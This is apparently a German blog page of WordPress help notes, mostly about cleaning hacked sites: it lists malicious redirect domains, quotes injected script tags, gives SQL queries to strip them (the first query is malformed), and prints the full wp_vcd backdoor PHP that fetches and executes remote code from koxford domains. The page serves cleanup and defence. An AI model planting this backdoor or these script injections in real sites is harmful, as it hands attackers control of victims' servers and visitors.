Malware Redirects / Spam Weiterleitungen in WordPress

Dein WordPress-Blog wurde gehackt, wenn du dein Blog aufrufst und unfreiwillig auf eine andere Seite weitergeleitet wirst.

Malware von folgenden URLs ist momentan sehr häufig zu beobachten (Stand Mai 2020):

  • dest.collectfasttracks.com
  • stat.trackstatisticsss.com
  • ws.stivenfernando.com
  • gotosecond2.com
  • makesomethird3.com
  • wiilberedmodels.com
  • bullgoesdown.com
  • forwardmytraffic.com
  • dns.createrelativechanging.com
  • greatinstagrampage.com
  • gabriellalovecats.com
  • jackielovedogs.com
  • tomorrowwillbehotmaybe.com
  • activeandbanflip.com
  • developsincelock.com
  • blueeyeswebsite.com

Screenshot eines infizierten WordPress-Blogs:

So sah es bei mir aus

So behebst du die gehackte Umleitung in WordPress

In deinen Blog-Beiträgen findest du am Ende des Beitrags solch ähnlich aussehende Code-Schnipsel:

<script src=“https://hotopponents.site/site.js“ type=“text/javascript“</script>

<script src=“https://saskmade.net/head.js?ver=2.0.0″ type=“text/javascript“></script>

<script async=““ src=“https://dest.collectfasttracks.com/hjsers.js“ type=“text/javascript“></script>

Wenn du auf einen dieser Code triffst, sind in der Regel alle deine Beiträge mit Malware infiziert.

Tipp: Wenn du sehr viele Beiträge hast, kannst du die Malware mit einfacher SQL-Abfrage entfernen. Erstelle bitte vorher ein Datenbank-Backup.

Öffne phpMyAdmin, füge diesen SQL-Befehl ein:

UPDATE wp_posts SET post_content = REPLACE(post_content, "<script async="" src="https://dest.collectfasttracks.com/hjsers.js" type="text/javascript"></script>%';

und ersetze vor dem Absenden (!), den rot markierten Codeschnipsel mit dem entsprechenden Schnipsel aus deinem Beitrag. Danach sind alle WordPress-Artikel von der Malware befreit.

Die erste registrierte Domain der Welt

Die Domain »nordu.net« wurde am 01. Januar 1985 registriert und gilt damit als die weltweit erste registrierte Domain. Nordu (auch bekannt als NORDUnet) ist ein Zusammenschluss nationaler Computernetzwerke für Wissenschaft und Forschung verschiedener nordeuropäischer Länder (Dänemark, Schweden, Finnland, Norwegen und Island).

Den zweiten Platz der ältesten Domains der Welt belegt »symbolics.com«, die von dem amerikanischen Computer-Unternehmen Symbolics Inc. am 15. März 1985 registriert wurde. In den 1980er und 1990er Jahren hatte das Unternehmen dort sogenannte Lisp-Maschinen (spezielle Computer) vertrieben. Heute werden auf dieser Domain spannende Informationen rund um Domains bereitgestellt. Sie ist die älteste .com-Domain im Netz, was Ihnen beim Besuch der Website nicht verborgen wird.

Die 15 ältesten .com-Domains

  • 1. 15. März 1985 Symbolics.com
  • 2. 24. April 1985 BBN.com
  • 3. 24. Mai 1985 Think.com
  • 4. 11. Juli 1985 MCC.com
  • 5. 30. September 1985 DEC.com
  • 6. 07. November 1985 Northrop.com
  • 7. 09. Januar 1986 Xerox.com
  • 8. 17. Januar 1986 SRI.com
  • 9. 02. März 1986 HP.com
  • 10. 05. März 1986 Bellcore.com
  • 11. 19. März 1986 IBM.com
  • 12. 19. März 1986 Sun.com
  • 13. 25. März 1986 Intel.com
  • 14. 25. März 1986 TI.com
  • 15. 25. April 1986 ATT.com
  • […]
  • 26. 02. September 1986 Boeing.com
  • […]
  • 28. 29. September 1986 Siemens.com
  • […]
  • 42. 17. November 1986 Adobe.com
  • […]
  • 64. 19. Februar 1987 Apple.com

Die erste .de Domain (uni-dortmund.de) wurde am 5. November 1986 registriert.

Zum Vergleich: Die Domain wikipedia.org wurde am 13. Januar 2001 registriert.

Malware https://hotopponents.site/site.js entfernen

Öffnen Sie phpMyAdmin und nutzen Sie folgende Vorlage, um die Malware von hotopponents[.]site zu entfernen (Bitte vorher ein Backup erstellen!):

Dieses Zeichen # bitte vor dem Senden aus der Abfrage entfernen!

UPDATE wp_posts SET post_content = REPLACE(post_content, "<#script src='https://hotopponents.site/site.js' type='text/javascript'>", '') WHERE post_content LIKE '%<#script src=\'https://hotopponents.site/site.js%>%';

Bei mir waren meine Beiträge außerdem mit Malware von saskmade[.]net infiziert. Das Problem habe ich mit folgendem SQL-Befehl gelöst:

UPDATE wp_posts SET post_content = REPLACE(post_content, "<#script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'>", '') WHERE post_content LIKE '%<#script src=\'https://saskmade.net/head.js?ver=2.0.0%>%';

Malware https://saskmade.net/head.js entfernen

Öffnen Sie phpMyAdmin und nutzen Sie folgende Vorlage, um die Malware von saskmade[.]net zu entfernen (Bitte vorher ein Backup erstellen):

Dieses Zeichen # bitte vor dem Senden aus der Abfrage entfernen!

UPDATE wp_posts SET post_content = REPLACE(post_content, "<#script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'>", '') WHERE post_content LIKE '%<#script src=\'https://saskmade.net/head.js?ver=2.0.0%>%';

Bei mir waren meine Beiträge außerdem mit Malware von hotopponents[.]site infiziert. Das Problem habe ich mit folgendem SQL-Befehl gelöst:

UPDATE wp_posts SET post_content = REPLACE(post_content, "<#script src='https://hotopponents.site/site.js' type='text/javascript'>", '') WHERE post_content LIKE '%<#script src=\'https://hotopponents.site/site.js%>%';

Zugriff auf sensible WordPress-Dateien verhindern

  • Im Hauptverzeichnis der WordPress-Installation befinden sich zum Beispiel Readme-Dateien, die eure Versionsnummer verraten.
  • Sollte sich noch im Ordner wp-admin die install.php befinden, solltet ihr diese auf jeden Fall entfernen.
  • In der wp-config-sample.php werden nicht selten die Verbindungsdaten eingetragen und liegen gelassen.
  • wp-tmp.php Malware aus WordPress entfernen

    Startet mit Wordfence einen Scan-Durchlauf. Anschließend werden die Dateien wp-tmp.php, wp-feed.php und wp-vcd.php ausfindig gemacht und als gefährlich eingestuft. Leider seid ihr Opfer einer Hacker-Attacke.

    So könnt ihr die Malware aus WordPress entfernen

    Datei functions.php (liegt im aktiven Themes-Ordner, möglicherweise sind aber auch andere Themes-Ordner davon befallen):

    Entfernt folgenden Code-Schnipsel der Hacker:

    <?php
    if (isset($_REQUEST[‚action‘]) && isset($_REQUEST[‚password‘]) && ($_REQUEST[‚password‘] == ‚5ccbe236a0afdfe75fe15ca0015ea2e1‘))
    {
    $div_code_name=“wp_vcd“;
    switch ($_REQUEST[‚action‘])
    {

    case ‚change_domain‘;
    if (isset($_REQUEST[’newdomain‘]))
    {

    if (!empty($_REQUEST[’newdomain‘]))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all(‚/\$tmpcontent = @file_get_contents\(„http:\/\/(.*)\/code\.php/i‘,$file,$matcholddomain))
    {

    $file = preg_replace(‚/‘.$matcholddomain[1][0].’/i‘,$_REQUEST[’newdomain‘], $file);
    @file_put_contents(__FILE__, $file);
    print „true“;
    }

    }
    }
    }
    break;

    case ‚change_code‘;
    if (isset($_REQUEST[’newcode‘]))
    {

    if (!empty($_REQUEST[’newcode‘]))
    {
    if ($file = @file_get_contents(__FILE__))
    {
    if(preg_match_all(‚/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i‘,$file,$matcholdcode))
    {

    $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[’newcode‘]), $file);
    @file_put_contents(__FILE__, $file);
    print „true“;
    }

    }
    }
    }
    break;

    default: print „ERROR_WP_ACTION WP_V_CD WP_CD“;
    }

    die(„“);
    }

    $div_code_name = „wp_vcd“;
    $funcfile = __FILE__;
    if(!function_exists(‚theme_temp_setup‘)) {
    $path = $_SERVER[‚HTTP_HOST‘] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER[‚REQUEST_URI‘], ‚wp-cron.php‘) == false && stripos($_SERVER[‚REQUEST_URI‘], ‚xmlrpc.php‘) == false) {

    function file_get_contents_tcurl($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }

    function theme_temp_setup($phpCode)
    {
    $tmpfname = tempnam(sys_get_temp_dir(), „theme_temp_setup“);
    $handle = fopen($tmpfname, „w+“);
    if( fwrite($handle, „<?php\n“ . $phpCode))
    {
    }
    else
    {
    $tmpfname = tempnam(‚./‘, „theme_temp_setup“);
    $handle = fopen($tmpfname, „w+“);
    fwrite($handle, „<?php\n“ . $phpCode);
    }
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
    }

    $wp_auth_key=’9b42c8e084a4b2f04f9c37de47729695′;
    if (($tmpcontent = @file_get_contents(„http://www.koxford.com/code.php“) OR $tmpcontent = @file_get_contents_tcurl(„http://www.koxford.com/code.php“)) AND stripos($tmpcontent, $wp_auth_key) !== false) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);

    if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
    @file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
    if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
    @file_put_contents(‚wp-tmp.php‘, $tmpcontent);
    }
    }

    }
    }

    elseif ($tmpcontent = @file_get_contents(„http://www.koxford.me/code.php“) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);

    if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
    @file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
    if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
    @file_put_contents(‚wp-tmp.php‘, $tmpcontent);
    }
    }

    }
    }

    elseif ($tmpcontent = @file_get_contents(„http://www.koxford.xyz/code.php“) AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));
    @file_put_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘, $tmpcontent);

    if (!file_exists(ABSPATH . ‚wp-includes/wp-tmp.php‘)) {
    @file_put_contents(get_template_directory() . ‚/wp-tmp.php‘, $tmpcontent);
    if (!file_exists(get_template_directory() . ‚/wp-tmp.php‘)) {
    @file_put_contents(‚wp-tmp.php‘, $tmpcontent);
    }
    }

    }
    }
    elseif ($tmpcontent = @file_get_contents(ABSPATH . ‚wp-includes/wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‚/wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    } elseif ($tmpcontent = @file_get_contents(‚wp-tmp.php‘) AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

    }

    }
    }

    //$start_wp_theme_tmp

    //wp_tmp

    //$end_wp_theme_tmp
    ?>

    Zuletzt müsst ihr die fremden Dateien wp-tmp.php, wp-feed.php und wp-vcd.php vom Server entfernen.

    Wie man herausfindet, ob eine Domain bei Google gesperrt ist

    Was ist, wenn man in Google nicht gefunden wird? Es gibt Domains die wurden von der Google-Suche ausgeschlossen. In der Regel werden Domains nicht einfach ohne Grund gesperrt. Wer eine Domain registriert, kann ganz einfach vorher überprüfen, ob die Domain frei von Altlasten ist. Ich hatte gerade erst kürzlich den Fehler gemacht und eine Domain registriert, die zuvor durch viele Spam-Inhalte von Google auf die Blacklist gesetzt wurde.

    Gebe in der Google-Suche den Domainnamen in Anführungstrichen „www.domain.de“ ein und es werden alle Verweise von externen Seiten aufgelistet.

    Mit site:domain.de können alle indexierten Seiten mit der Domain eingesehen werden.

    Die Waybackmachine ermöglicht in die Vergangenheit zu schauen – wie und ob die Domain bereits genutzt wurde: http://archive.org/web/web.php

    Selbstverständlich sind auch andere Gründe möglich, dass eine Domain bei Google nicht gefunden wird. Zum Beispiel falsche Einstellungen (Stichwort robots.txt und .htaccess)

    Diese Seite wird fortlaufend aktualisiert.